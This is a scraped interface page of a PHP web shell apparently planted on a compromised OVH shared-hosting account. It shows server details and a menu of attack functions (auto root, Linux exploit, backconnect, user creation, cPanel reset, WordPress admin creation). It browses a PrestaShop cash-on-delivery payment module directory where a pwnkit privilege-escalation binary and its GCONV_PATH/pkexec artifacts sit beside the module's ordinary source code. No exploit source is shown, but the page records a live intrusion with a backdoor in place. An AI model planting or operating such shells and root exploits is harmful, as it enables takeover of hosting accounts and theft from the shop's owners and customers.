Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.104
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
newmed /
modules /
ps_cashondelivery /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
controllers
[ DIR ]
drwx---r-x
translations
[ DIR ]
drwx---r-x
vendor
[ DIR ]
drwx---r-x
views
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
LICENSE.md
10.09
KB
-rw----r--
Readme.md
863
B
-rw----r--
composer.json
414
B
-rw----r--
composer.lock
564
B
-rw----r--
config.xml
439
B
-rw----r--
config_fr.xml
550
B
-rw----r--
index.php
1.31
KB
-rw----r--
logo.png
1.33
KB
-rw----r--
ps_cashondelivery.php
4.69
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ps_cashondelivery.php
<?php /* * 2007-2017 PrestaShop * * NOTICE OF LICENSE * * This source file is subject to the Academic Free License (AFL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/afl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to http://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2017 PrestaShop SA * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) * International Registered Trademark & Property of PrestaShop SA */ use PrestaShop\PrestaShop\Core\Payment\PaymentOption; if (!defined('_PS_VERSION_')) { exit; } class Ps_Cashondelivery extends PaymentModule { public function __construct() { $this->name = 'ps_cashondelivery'; $this->author = 'PrestaShop'; $this->version = '1.0.6'; $this->need_instance = 1; $this->ps_versions_compliancy = array('min' => '1.7.1.0', 'max' => _PS_VERSION_); $this->controllers = array('validation'); $this->is_eu_compatible = 1; $this->currencies = false; parent::__construct(); $this->displayName = $this->trans('Cash on delivery (COD)', array(), 'Modules.Cashondelivery.Admin'); $this->description = $this->trans('Accept cash on delivery payments', array(), 'Modules.Cashondelivery.Admin'); /* For 1.4.3 and less compatibility */ $updateConfig = array('PS_OS_CHEQUE', 'PS_OS_PAYMENT', 'PS_OS_PREPARATION', 'PS_OS_SHIPPING', 'PS_OS_CANCELED', 'PS_OS_REFUND', 'PS_OS_ERROR', 'PS_OS_OUTOFSTOCK', 'PS_OS_BANKWIRE', 'PS_OS_PAYPAL', 'PS_OS_WS_PAYMENT'); if (!Configuration::get('PS_OS_PAYMENT')) { foreach ($updateConfig as $u) { if (!Configuration::get($u) && defined('_'.$u.'_')) { Configuration::updateValue($u, constant('_'.$u.'_')); } } } } public function install() { if (!parent::install() || !$this->registerHook('paymentReturn') || !$this->registerHook('paymentOptions')) { return false; } return true; } public function hasProductDownload($cart) { $products = $cart->getProducts(); if (!empty($products)) { foreach ($products as $product) { $pd = ProductDownload::getIdFromIdProduct((int)($product['id_product'])); if ($pd and Validate::isUnsignedInt($pd)) { return true; } } } return false; } public function hookPaymentOptions($params) { if (!$this->active) { return; } // Check if cart has product download if ($this->hasProductDownload($params['cart'])) { return; } $newOption = new PaymentOption(); $newOption->setModuleName($this->name) ->setCallToActionText($this->trans('Pay by Cash on Delivery', array(), 'Modules.Cashondelivery.Shop')) ->setAction($this->context->link->getModuleLink($this->name, 'validation', array(), true)) ->setAdditionalInformation($this->fetch('module:ps_cashondelivery/views/templates/hook/ps_cashondelivery_intro.tpl')); $payment_options = [ $newOption, ]; return $payment_options; } public function hookPaymentReturn($params) { if (!$this->active) { return; } $state = $params['order']->getCurrentState(); if ($state) { $this->smarty->assign(array( 'shop_name' => $this->context->shop->name, 'total' => Tools::displayPrice( $params['order']->getOrdersTotalPaid(), new Currency($params['order']->id_currency), false ), 'status' => 'ok', 'reference' => $params['order']->reference, 'contact_url' => $this->context->link->getPageLink('contact', true) )); } else { $this->smarty->assign(array( 'status' => 'failed', 'contact_url' => $this->context->link->getPageLink('contact', true) )); } return $this->fetch('module:ps_cashondelivery/views/templates/hook/payment_return.tpl'); } }
Close